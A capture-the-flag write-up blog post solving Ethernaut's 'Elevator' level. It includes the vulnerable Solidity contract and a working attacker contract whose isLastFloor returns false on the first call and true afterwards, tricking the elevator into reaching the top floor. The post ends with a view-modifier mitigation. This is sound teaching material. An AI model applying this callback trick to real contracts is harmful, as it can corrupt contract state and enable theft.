# Ethernaut 10: Elevator **Published by:** [0xbanky](https://paragraph.com/@banky/) **Published on:** 2022-08-22 **URL:** https://paragraph.com/@banky/ethernaut-10-elevator ## Content Calling external contracts can be tricky because they may not be deterministic. A contract function can return different values for the same input to break our contracts. I explored this with my 9th ethernaut challenge, Elevator https://ethernaut.openzeppelin.com/level/0xaB4F3F2644060b2D960b0d88F0a42d1D27484687InvestigationWe have a contract for an Elevator that should not let the user get to the top floor.interface Building { function isLastFloor(uint) external returns (bool); } contract Elevator { bool public top; uint public floor; function goTo(uint _floor) public { Building building = Building(msg.sender); if (!building.isLastFloor(_floor)) { floor = _floor; top = building.isLastFloor(floor); } } } By calling goTo, we can update the floor in the Elevator instance. However, the logic intends to never allow the user to get to the top floor of any provided building. The if statement makes sure that the current floor is not the last floor before setting the floor and top values. Since two contract calls are made to the instance of Building, it is possible to return to different values for isLastFloor , thus tricking the elevator to update to be at the top floor unexpectedly.SolutionI created a new Building contract to demonstrate thiscontract Building { address elevatorAddress; uint calls = 0; constructor (address _elevatorAddress) { elevatorAddress = _elevatorAddress; } function attack (uint _floor) public { Elevator elevator = Elevator(elevatorAddress); elevator.goTo(_floor); } function isLastFloor(uint floor) override external returns (bool) { if (calls == 0) { calls += 1; return false; } else { return true; } } } interface Elevator { function goTo(uint _floor) external; } Here, we track how many times the isLastFloor command has been called. If it has been called before, we simply increase the calls and return true instead of false on every subsequent call. Sure enough, with this technique, the Elevator instance breaks since it enters an unexpected state.What I learnedWe can’t trust that external contract calls will always return the same output for a given inputTo improve this code, we can use view or pure in the interface definition for Building which will ensure that the isLastFloor function cannot modify state between calls ## Publication Information - [0xbanky](https://paragraph.com/@banky/): Publication homepage - [All Posts](https://paragraph.com/@banky/): More posts from this publication - [RSS Feed](https://api.paragraph.com/blogs/rss/@banky): Subscribe to updates - [Twitter](https://twitter.com/0xbanky): Follow on Twitter